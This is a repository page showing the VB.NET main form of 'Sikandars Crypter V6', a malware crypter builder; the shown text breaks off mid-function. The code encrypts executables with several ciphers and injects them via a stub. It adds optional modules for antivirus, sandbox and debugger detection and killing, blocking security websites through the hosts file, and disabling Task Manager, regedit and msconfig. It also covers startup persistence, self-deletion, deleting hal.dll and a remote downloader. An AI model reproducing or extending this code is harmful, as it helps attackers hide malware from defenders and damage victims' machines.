i2p/crypters-scode
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
main
crypters-scode/scode (Sikandars.Crypter.V6.VB.NET/Form1.vb
T

1990 lines
79 KiB
VB.net
Raw Permalink Normal View History

initial commit
2026-08-27 11:04:21 -06:00
Imports System.IO
Imports System.Reflection
Public Class Form1
Dim o, oo As New OpenFileDialog
Private Sub MButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton1.Click
o.DefaultExt = ""
o.Filter = "Portable Executable Files (*.Exe)|*.Exe"
o.FilterIndex = 1
o.FileName = ""
If o.ShowDialog(Me) = 1 Then
TextBox1.Text = o.FileName
End If
End Sub
Dim ResLoc As String = Application.StartupPath & "\A.Resources"
Dim MyGuid As Guid
Dim Stub As String = My.Resources.Stub
Dim NewLine As String = Environment.NewLine
Dim SFD As New SaveFileDialog
Dim S As String
Private Sub MButton5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton5.Click
If TextBox1.Text = "Browse File to Protect..." Then
MessageBox.Show("Please select a PE file to encrypt.", "Input", MessageBoxButtons.OK, MessageBoxIcon.Information)
Exit Sub
ElseIf TextBox3.Text = "Browse PE to Inject with..." Then
MessageBox.Show("Please select a PE file to use for Injection.", "Input", MessageBoxButtons.OK, MessageBoxIcon.Information)
Exit Sub
End If
SFD.AddExtension = True
SFD.Filter = "Executable Files (*.exe)|*.exe|Com Files (*.com)|*.com|Batch Files (*.bat)|*.bat|Program Information File (*.pif)|*.pif|Screen Saver Files (*.scr)|*.scr"
If SFD.ShowDialog = Windows.Forms.DialogResult.OK Then
S = SFD.FileName
Else : Exit Sub
End If
Dim FileByte() As Byte = IO.File.ReadAllBytes(TextBox1.Text)
Dim FileString As String = System.Text.Encoding.Default.GetString(FileByte)
MyGuid = Guid.NewGuid()
Dim EPass As String = MyGuid.ToString
Dim BPass As Byte() = System.Text.Encoding.Default.GetBytes(EPass)
Dim OutputByte As Byte() = Nothing
Dim OutputString As String = Nothing
Dim OutputBInj As Byte() = Nothing
Dim OutputSInj As String = Nothing
Dim ResByte As Byte() = IO.File.ReadAllBytes(TextBox3.Text)
Dim ResString As String = System.Text.Encoding.Default.GetString(ResByte)
Dim SName As String = TextBox4.Text
Dim SNameB As Byte() = System.Text.Encoding.Default.GetBytes(SName)
Dim OutName As String = Nothing
Dim OutNameB As Byte() = Nothing
Using A As New Resources.ResourceWriter(ResLoc)
If RadioButton1.Checked = True Then
'OutputByte = Encryption_Algorithms.Rc4(FileByte, BPass)
'OutputBInj = Encryption_Algorithms.Rc4(ResByte, BPass)
'OutNameB = Encryption_Algorithms.Rc4(SNameB, BPass)
'A.AddResource("I", OutputBInj)
'A.AddResource("F", OutputByte)
'A.AddResource("NM", OutNameB)
'A.AddResource("K", BPass)
OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(FileByte, BPass)))
OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(ResByte, BPass)))
OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(SNameB, BPass)))
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", BPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.RC4)
Stub = Stub.Replace("'LoadMethod", My.Resources.RC4Loader)
ElseIf RadioButton4.Checked = True Then
OutputString = Encryption_Algorithms.TripleDES(FileString, EPass, True)
OutputSInj = Encryption_Algorithms.TripleDES(ResString, EPass, True)
OutName = Encryption_Algorithms.TripleDES(SName, EPass, True)
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", EPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.TDESRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.TDESLoader)
ElseIf RadioButton9.Checked = True Then
OutputString = Encryption_Algorithms.Rijndael(FileString, EPass)
OutputSInj = Encryption_Algorithms.Rijndael(ResString, EPass)
OutName = Encryption_Algorithms.Rijndael(SName, EPass)
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", EPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.RijndaelRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.RijLoader)
ElseIf RadioButton10.Checked = True Then
OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(FileByte, BPass)))
OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(ResByte, BPass)))
OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(SNameB, BPass)))
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", BPass)
'OutputByte = Encryption_Algorithms.StairsEncryption.Crypt(FileByte, BPass)
'OutputBInj = Encryption_Algorithms.StairsEncryption.Crypt(ResByte, BPass)
'OutNameB = Encryption_Algorithms.StairsEncryption.Crypt(SNameB, BPass)
'A.AddResource("I", OutputBInj)
'A.AddResource("F", OutputByte)
'A.AddResource("NM", OutNameB)
'A.AddResource("K", BPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.StairsRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.StairsLoader)
ElseIf RadioButton17.Checked = True Then
OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(FileByte)))
OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(ResByte)))
OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(SNameB)))
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", BPass)
'OutputByte = Encryption_Algorithms.AESEncrypt(FileByte)
'OutputBInj = Encryption_Algorithms.AESEncrypt(ResByte)
'OutNameB = Encryption_Algorithms.AESEncrypt(SNameB)
'A.AddResource("I", OutputBInj)
'A.AddResource("F", OutputByte)
'A.AddResource("NM", OutNameB)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.AESRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.AESLoader)
ElseIf RadioButton2.Checked = True Then
OutputString = Encryption_Algorithms.xEncryption(EPass, FileString)
OutputSInj = Encryption_Algorithms.xEncryption(EPass, ResString)
OutName = Encryption_Algorithms.xEncryption(EPass, SName)
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", EPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.XORRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.XORLoader)
ElseIf RadioButton3.Checked = True Then
Dim P As New Encryption_Algorithms.PolyMorphic(EPass)
OutputString = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(FileByte)))
OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(ResByte)))
OutName = ReverseString(System.Text.Encoding.Default.GetString(P.PolyCrypt(SNameB)))
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", EPass)
'OutputByte = P.PolyCrypt(FileByte)
'OutputBInj = P.PolyCrypt(ResByte)
'OutNameB = P.PolyCrypt(SNameB)
'A.AddResource("I", OutputBInj)
'A.AddResource("F", OutputByte)
'A.AddResource("NM", OutNameB)
'A.AddResource("K", EPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyXORRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.PolyXORLoader)
ElseIf RadioButton24.Checked = True Then
OutputString = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(FileByte, BPass)))
OutputSInj = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(ResByte, BPass)))
OutName = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(SNameB, BPass)))
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", BPass)
'OutputByte = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(FileByte, BPass)
'OutputBInj = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(ResByte, BPass)
'OutNameB = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(SNameB, BPass)
'A.AddResource("I", OutputBInj)
'A.AddResource("F", OutputByte)
'A.AddResource("NM", OutNameB)
'A.AddResource("K", BPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyStairsRev)
Stub = Stub.Replace("'LoadMethod", My.Resources.PolyStairsLoader)
ElseIf RadioButton21.Checked = True Then
Dim P As New Encryption_Algorithms.PolyRC4(EPass)
OutputString = P.Encrypt(FileString)
OutputSInj = P.Encrypt(ResString)
OutName = P.Encrypt(SName)
A.AddResource("I", OutputSInj)
A.AddResource("F", OutputString)
A.AddResource("NM", OutName)
A.AddResource("K", EPass)
Stub = Stub.Replace("'InjectionEncryptionAlgorithm", My.Resources.PolyRC4Rev)
Stub = Stub.Replace("'LoadMethod", My.Resources.PolyRC4Loader)
End If
If CheckBox68.Checked = True Then
Dim xfile As Byte() = New Byte() {}
My.Computer.FileSystem.WriteAllBytes(xpath, xfile, True)
If RadioButton15.Checked = True Then
PumpFile(xpath, NumericUpDown6.Value)
ElseIf RadioButton16.Checked = True Then
PumpFile(xpath, NumericUpDown7.Value * 1024)
End If
A.AddResource("Q", IO.File.ReadAllBytes(xpath))
IO.File.Delete(xpath)
End If
If ListView1.Items.Count > 0 Then
For Each item As ListViewItem In ListView1.Items
Dim itmTag As Byte() = IO.File.ReadAllBytes(item.Tag)
Dim Everything As String = System.Text.Encoding.Default.GetString(itmTag) + "@|C|@" + _
IO.Path.GetExtension(item.Tag)
Dim EncryptedS As String = Nothing
Dim EncryptedB As Byte() = Nothing
If RadioButton1.Checked = True Then
'EncryptedB = Encryption_Algorithms.Rc4(System.Text.Encoding.Default.GetBytes(Everything), BPass)
EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.Rc4(System.Text.Encoding.Default.GetBytes(Everything), BPass)))
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton4.Checked = True Then
EncryptedS = Encryption_Algorithms.TripleDES(Everything, EPass, True)
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton9.Checked = True Then
EncryptedS = Encryption_Algorithms.Rijndael(Everything, EPass)
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton10.Checked = True Then
'EncryptedB = Encryption_Algorithms.StairsEncryption.Crypt(System.Text.Encoding.Default.GetBytes(Everything), BPass)
EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.StairsEncryption.Crypt(System.Text.Encoding.Default.GetBytes(Everything), BPass)))
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton17.Checked = True Then
'EncryptedB = Encryption_Algorithms.AESEncrypt(System.Text.Encoding.Default.GetBytes(Everything))
EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.AESEncrypt(System.Text.Encoding.Default.GetBytes(Everything))))
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton2.Checked = True Then
EncryptedS = Encryption_Algorithms.xEncryption(EPass, Everything)
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton3.Checked = True Then
Dim xx As New Encryption_Algorithms.PolyMorphic(EPass)
'EncryptedB = xx.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything))
EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(xx.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything))))
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton21.Checked = True Then
Dim xx As New Encryption_Algorithms.PolyRC4(EPass)
EncryptedS = xx.Encrypt(Everything)
A.AddResource("Ev", EncryptedS)
ElseIf RadioButton24.Checked = True Then
'EncryptedB = Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything), BPass)
EncryptedS = ReverseString(System.Text.Encoding.Default.GetString(Encryption_Algorithms.PolyMorphicStairs.PolyCrypt(System.Text.Encoding.Default.GetBytes(Everything), BPass)))
A.AddResource("Ev", EncryptedS)
End If
Next
End If
If FileByte(60) = 128 Then
A.AddResource("X", My.Resources.Invoke)
Else
A.AddResource("X", ReverseString(My.Resources.RpE))
End If
A.Generate()
End Using
Options()
Compile(Stub, S, True, "Out", False, ResLoc)
If TextBox2.Text = ooo.FileName Then
IconChanger.InjectIcon(S, ooo.FileName)
End If
Dim Offset As String = "1"
Dim OffsetSource() As Byte = System.Text.Encoding.Default.GetBytes(Offset)
Using AntiAI As New FileStream(S, FileMode.Open, FileAccess.Write)
AntiAI.Seek(4587, SeekOrigin.Begin)
AntiAI.WriteByte(Offset)
If CheckBox59.Checked = True Then
AntiAI.Seek(244, SeekOrigin.Begin)
AntiAI.WriteByte(11)
End If
AntiAI.Close()
End Using
If CheckBox27.Checked = True Then
Dim EOF As String = Nothing
EOF = ReadEOFData(o.FileName)
IO.File.AppendAllText(S, EOF)
End If
Stub = My.Resources.ResetStub
IO.File.Delete(ResLoc)
MessageBox.Show("PE File Encrypted Successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
Dim XTeaPass As New Random
Public Function ReadEOFData(ByRef FilePath As String) As String
Dim EOFBuf As String
Dim lPos As Integer
If Dir(FilePath) = "" Then
Exit Function
End If
Dim ReadFile As String = IO.File.ReadAllText(FilePath)
lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
ReadEOFData = StrReverse(EOFBuf)
If ReadEOFData = "" Then
End If
Exit Function
End Function
Public Function GetNullBytes(ByRef lNum As Object) As String
Dim Buf As String
Dim i As Short
For i = 1 To lNum
Buf = Buf & Chr(0)
Next
GetNullBytes = Buf
End Function
Dim tempicon As String = Application.StartupPath & "\Ticon.ico"
Sub Options()
If RadioButton18.Checked = True Then
If RadioButton2.Checked = False Then
Stub = Stub.Replace("'StubStrEncryption", My.Resources.XORRev)
End If
ElseIf RadioButton20.Checked = True Then
If RadioButton9.Checked = False Then
Stub = Stub.Replace("'StubStrEncryption", My.Resources.RijndaelRev)
End If
ElseIf RadioButton19.Checked = True Then
If RadioButton4.Checked = False Then
Stub = Stub.Replace("'StubStrEncryption", My.Resources.TDESRev)
End If
ElseIf RadioButton25.Checked = True Then
Stub = Stub.Replace("'StubStrEncryption", My.Resources.PolyDec)
End If
If CheckBox72.Checked = True Then
Stub = Stub.Replace("'AssemblyCodes", AssemblyChange)
Else
Stub = Stub.Replace("'AssemblyCodes", Nothing)
End If
If CheckBox71.Checked = True Then
Stub = Stub.Replace("'Anti's Sub", My.Resources.AntisSub)
Stub = Stub.Replace("'FunctionA", My.Resources.FunctionA)
Stub = Stub.Replace("'CallAntis", "AT")
Stub = Stub.Replace("'Killer Sub", My.Resources.Killers)
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
Stub = Stub.Replace("'KKK", "KKK")
Stub = Stub.Replace("""SELECT * FROM Win32_VideoController""", EncryptString("SELECT * FROM Win32_VideoController"))
Stub = Stub.Replace("""winmgmts:""", EncryptString("winmgmts:"))
Stub = Stub.Replace("""\Sample.exe""", EncryptString("\Sample.exe"))
Stub = Stub.Replace("""wireshark""", EncryptString("wireshark"))
Stub = Stub.Replace("""VM Additions S3 Trio32/64""", EncryptString("VM Additions S3 Trio32/64"))
Stub = Stub.Replace("""VirtualBox Graphics Adapter""", EncryptString("VirtualBox Graphics Adapter"))
Stub = Stub.Replace("""SbieSvc""", EncryptString("SbieSvc"))
Stub = Stub.Replace("""avp""", EncryptString("avp"))
Stub = Stub.Replace("""VMware SVGA II""", EncryptString("VMware SVGA II"))
Stub = Stub.Replace("""ashServ""", EncryptString("ashServ"))
Stub = Stub.Replace("""avgtray""", EncryptString("avgtray"))
Stub = Stub.Replace("""avgnt""", EncryptString("avgnt"))
Stub = Stub.Replace("""76487-337-8429955-22614""", EncryptString("76487-337-8429955-22614"))
Stub = Stub.Replace("""SOFTWARE\Microsoft\Windows NT\CurrentVersion""", _
EncryptString("SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
Stub = Stub.Replace("""ProductId""", EncryptString("ProductId"))
Stub = Stub.Replace("""keyscrambler""", EncryptString("keyscrambler"))
Stub = Stub.Replace("""bdagent""", EncryptString("bdagent"))
Stub = Stub.Replace("""mbam""", EncryptString("mbam"))
Stub = Stub.Replace("""panda""", EncryptString("panda"))
Stub = Stub.Replace("""zlclient""", EncryptString("zlclient"))
Stub = Stub.Replace("""ollydbg""", EncryptString("ollydbg"))
Stub = Stub.Replace("""egui""", EncryptString("egui"))
Stub = Stub.Replace("""hijackthis""", EncryptString("hijackthis"))
Stub = Stub.Replace("""npfmsg""", EncryptString("npfmsg"))
Stub = Stub.Replace("""SBAMsvc""", EncryptString("SBAMsvc"))
Stub = Stub.Replace("""wine""", EncryptString("wine"))
Stub = Stub.Replace("""outpost""", EncryptString("outpost"))
Stub = Stub.Replace("""joeboxserver""", EncryptString("joeboxserver"))
Stub = Stub.Replace("""joeboxcontrol""", EncryptString("joeboxcontrol"))
'Else
' Stub = Stub.Replace("'Anti's Sub", Nothing)
' Stub = Stub.Replace("'FunctionA", Nothing)
' Stub = Stub.Replace("'CallAntis", Nothing)
' Stub = Stub.Replace("'Killer Sub", Nothing)
' Stub = Stub.Replace("'KillerFunction", Nothing)
' Stub = Stub.Replace("'KKK", Nothing)
End If
If CheckBox28.Checked = True Then
Dim A2S As String = "Dim P2S As New Threading.Thread(AddressOf PushStart)" & Environment.NewLine & _
Environment.NewLine & "P2S.Start()" & Environment.NewLine
Stub = Stub.Replace("'Add2StartUp", My.Resources.Add2StartUp)
Stub = Stub.Replace("'AStartUpCall", A2S)
'Else
' Stub = Stub.Replace("'Add2StartUp", Nothing)
' Stub = Stub.Replace("'AStartUpCall", Nothing)
End If
If CheckBox1.Checked = True Then
Dim MB As String = Nothing
Dim MHold As String = Nothing
If RadioButton26.Checked = True Then
If RadioButton43.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & " , " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OK, MessageBoxIcon.Error)"
ElseIf RadioButton45.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.YesNo, MessageBoxIcon.Error)"
ElseIf RadioButton46.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OKCancel, MessageBoxIcon.Error)"
ElseIf RadioButton47.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.RetryCancel, MessageBoxIcon.Error)"
End If
ElseIf RadioButton28.Checked = True Then
If RadioButton43.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OK, MessageBoxIcon.Information)"
ElseIf RadioButton45.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.YesNo, MessageBoxIcon.Information)"
ElseIf RadioButton46.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.OKCancel, MessageBoxIcon.Information)"
ElseIf RadioButton47.Checked Then
MB = "MessageBox.Show(" & Chr(34) & TextBox19.Text & Chr(34) & ", " & Chr(34) & TextBox9.Text & Chr(34) & ", MessageBoxButtons.RetryCancel, MessageBoxIcon.Information)"
End If
End If
Stub = Stub.Replace("'MessageB", MB)
'Else
' Stub = Stub.Replace("'MessageB", Nothing)
End If
If CheckBox74.Checked = True Then
Stub = Stub.Replace("'Websites", My.Resources.Websites)
Stub = Stub.Replace("'CallWS", "W")
Stub = Stub.Replace("""www.novirusthanks.org""", EncryptString("www.novirusthanks.org"))
Stub = Stub.Replace("""www.virustotal.com""", EncryptString("www.virustotal.com"))
Stub = Stub.Replace("""www.virusscan.jotti.org""", EncryptString("www.virusscan.jotti.org"))
Stub = Stub.Replace("""www.malwarebytes.org""", EncryptString("www.malwarebytes.org"))
Stub = Stub.Replace("""www.bitdefender.com/scanner/online/free.html""", EncryptString("www.bitdefender.com/scanner/online/free.html"))
Stub = Stub.Replace("""www.eset.com/online-scanner""", EncryptString("www.eset.com/online-scanner"))
Stub = Stub.Replace("""housecall.trendmicro.com""", EncryptString("housecall.trendmicro.com"))
Stub = Stub.Replace("""www.kaspersky.com/scanforvirus""", EncryptString("www.kaspersky.com/scanforvirus"))
Stub = Stub.Replace("""www.kaspersky.com/virusscanner""", EncryptString("www.kaspersky.com/virusscanner"))
Stub = Stub.Replace("""www.f-secure.com/en_EMEA/security/tools/online-scanner/""", EncryptString("www.f-secure.com/en_EMEA/security/tools/online-scanner/"))
Stub = Stub.Replace("""www.windowsecurity.com/trojanscan""", EncryptString("www.windowsecurity.com/trojanscan"))
Stub = Stub.Replace("""www.avg.com""", EncryptString("www.avg.com"))
Stub = Stub.Replace("""www.avast.com""", EncryptString("www.avast.com"))
Stub = Stub.Replace("""www.avira.com""", EncryptString("www.avira.com"))
Stub = Stub.Replace("""www.zonealarm.com""", EncryptString("www.zonealarm.com"))
Stub = Stub.Replace("""www.Symantec.com""", EncryptString("www.Symantec.com"))
Stub = Stub.Replace("""security.symantec.com""", EncryptString("security.symantec.com"))
Stub = Stub.Replace("""www.pandasecurity.com""", EncryptString("www.pandasecurity.com"))
Stub = Stub.Replace("""\DNS.bat""", EncryptString("\DNS.bat"))
Stub = Stub.Replace("""ipconfig/flushdns""", EncryptString("ipconfig/flushdns"))
Stub = Stub.Replace("""ipconfig/release""", EncryptString("ipconfig/release"))
Stub = Stub.Replace("""ipconfig/renew""", EncryptString("ipconfig/renew"))
Stub = Stub.Replace("""\drivers\etc\hosts""", EncryptString("\drivers\etc\hosts"))
'Else
' Stub = Stub.Replace("'Websites", Nothing)
' Stub = Stub.Replace("'CallWS", Nothing)
End If
If CheckBox50.Checked = True Then
Stub = Stub.Replace("'TaskmanagerSub", My.Resources.TaskMSub)
If Not CheckBox71.Checked = True Then
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
End If
Dim TM As String = "Dim KF59 As New System.Threading.Thread(AddressOf F59)" & Environment.NewLine & _
Environment.NewLine & "KF59.Start()" & Environment.NewLine & Environment.NewLine
Stub = Stub.Replace("'TaskManagerK", TM)
Stub = Stub.Replace("""taskmgr""", EncryptString("taskmgr"))
'Else
' Stub = Stub.Replace("'TaskmanagerSub", Nothing)
' Stub = Stub.Replace("'TaskManagerK", Nothing)
End If
If CheckBox51.Checked = True Then
Stub = Stub.Replace("'RegeditSub", My.Resources.Regedit)
If Not CheckBox71.Checked = True Then
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
End If
Dim RE As String = "Dim KF60 As New System.Threading.Thread(AddressOf F60)" & Environment.NewLine & _
Environment.NewLine & "KF60.Start()" & Environment.NewLine & Environment.NewLine
Stub = Stub.Replace("'RegeditK", RE)
Stub = Stub.Replace("""regedit""", EncryptString("regedit"))
'Else
' Stub = Stub.Replace("'RegeditK", Nothing)
' Stub = Stub.Replace("'RegeditSub", Nothing)
End If
If CheckBox52.Checked = True Then
Stub = Stub.Replace("'msconfigSub", My.Resources.msconfig)
If Not CheckBox71.Checked = True Then
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
End If
Dim MS As String = "Dim KF61 As New System.Threading.Thread(AddressOf F61)" & Environment.NewLine & _
Environment.NewLine & "KF61.Start()" & Environment.NewLine & Environment.NewLine
Stub = Stub.Replace("'msconfigK", MS)
Stub = Stub.Replace("""msconfig""", EncryptString("msconfig"))
'Else
' Stub = Stub.Replace("'msconfigSub", Nothing)
' Stub = Stub.Replace("'msconfigK", Nothing)
End If
If CheckBox53.Checked = True Then
Stub = Stub.Replace("'notepadSub", My.Resources.ANotePad)
If Not CheckBox71.Checked = True Then
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
End If
Dim AN As String = "Dim KF62 As New System.Threading.Thread(AddressOf F62)" & Environment.NewLine & _
Environment.NewLine & "KF62.Start()" & Environment.NewLine & Environment.NewLine
Stub = Stub.Replace("'notepadK", AN)
Stub = Stub.Replace("""notepad""", EncryptString("notepad"))
'Else
' Stub = Stub.Replace("'notepadK", Nothing)
' Stub = Stub.Replace("'notepadSub", Nothing)
End If
If CheckBox54.Checked = True Then
Stub = Stub.Replace("'dxdiagSub", My.Resources.Adxdiag)
If Not CheckBox71.Checked = True Then
Stub = Stub.Replace("'KillerFunction", My.Resources.KFunction)
End If
Dim DX As String = "Dim KF63 As New System.Threading.Thread(AddressOf F63)" & Environment.NewLine & _
Environment.NewLine & "KF63.Start()" & Environment.NewLine & Environment.NewLine
Stub = Stub.Replace("'dxdiagK", DX)
Stub = Stub.Replace("""dxdiag""", EncryptString("dxdiag"))
'Else
' Stub = Stub.Replace("'dxdiagSub", Nothing)
' Stub = Stub.Replace("'dxdiagK", Nothing)
End If
If CheckBox55.Checked = True Then
Stub = Stub.Replace("'FolderOpts", My.Resources.FolderOpt)
Stub = Stub.Replace("""NoFolderOptions""", EncryptString("NoFolderOptions"))
Stub = Stub.Replace("""HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer""", _
EncryptString("HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"))
'Else
' Stub = Stub.Replace("'FolderOpts", Nothing)
End If
If CheckBox56.Checked = True Then
Stub = Stub.Replace("'meltSub", My.Resources.Melt)
Stub = Stub.Replace("'meltcall", "Melt(IO.Path.GetFileName(Application.ExecutablePath))")
Stub = Stub.Replace("""\Install.log""", EncryptString("\Install.log"))
'Else
' Stub = Stub.Replace("'meltSub", Nothing)
' Stub = Stub.Replace("'meltcall", Nothing)
End If
If CheckBox60.Checked = True Then
Stub = Stub.Replace("'restart", My.Resources.Restart)
Stub = Stub.Replace("""\restart""", EncryptString("\restart"))
Stub = Stub.Replace("""shutdown -r -t""", EncryptString("shutdown -r -t"))
'Else
' Stub = Stub.Replace("'restart", Nothing)
End If
If CheckBox58.Checked = True Then
Stub = Stub.Replace("'Downloader", My.Resources.Downloader)
Stub = Stub.Replace("$DownloadLink$", EncryptString(TextBox8.Text))
'Else
' Stub = Stub.Replace("'Downloader", Nothing)
End If
If NumericUpDown5.Value = 0 Then
Stub = Stub.Replace("System.Threading.Thread.Sleep(DelayExe * 1000)", Nothing)
Else
Stub = Stub.Replace("DelayExe", NumericUpDown5.Value)
End If
If CheckBox61.Checked = True Then
Stub = Stub.Replace("'delHALDLL", My.Resources.HalDLL)
Stub = Stub.Replace("""\hal.dll""", EncryptString("\hal.dll"))
'Else
' Stub = Stub.Replace("'delHALDLL", Nothing)
End If
If ListView1.Items.Count > 0 Then
Stub = Stub.Replace("'Binder", My.Resources.Binder)
Dim Binder As String = Nothing
If RadioButton1.Checked = True Then
Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(RC4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton4.Checked = True Then
Binder = "Dim FDC As String = TripleDESdecrypt(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & "), True)" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton9.Checked = True Then
Binder = "Dim FDC As String = RijndaelDecrypt(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & "))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton10.Checked = True Then
Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(SDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton17.Checked = True Then
Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _
Chr(34) & ")))))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton2.Checked = True Then
Binder = "Dim FDC As String = xEncryptionD(R.GetObject(" & Chr(34) & "K" & _
Chr(34) & "), " & "R.GetObject(" & Chr(34) & "Ev" & Chr(34) & "))" & NewLine & _
"filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")"
ElseIf RadioButton3.Checked = True Then
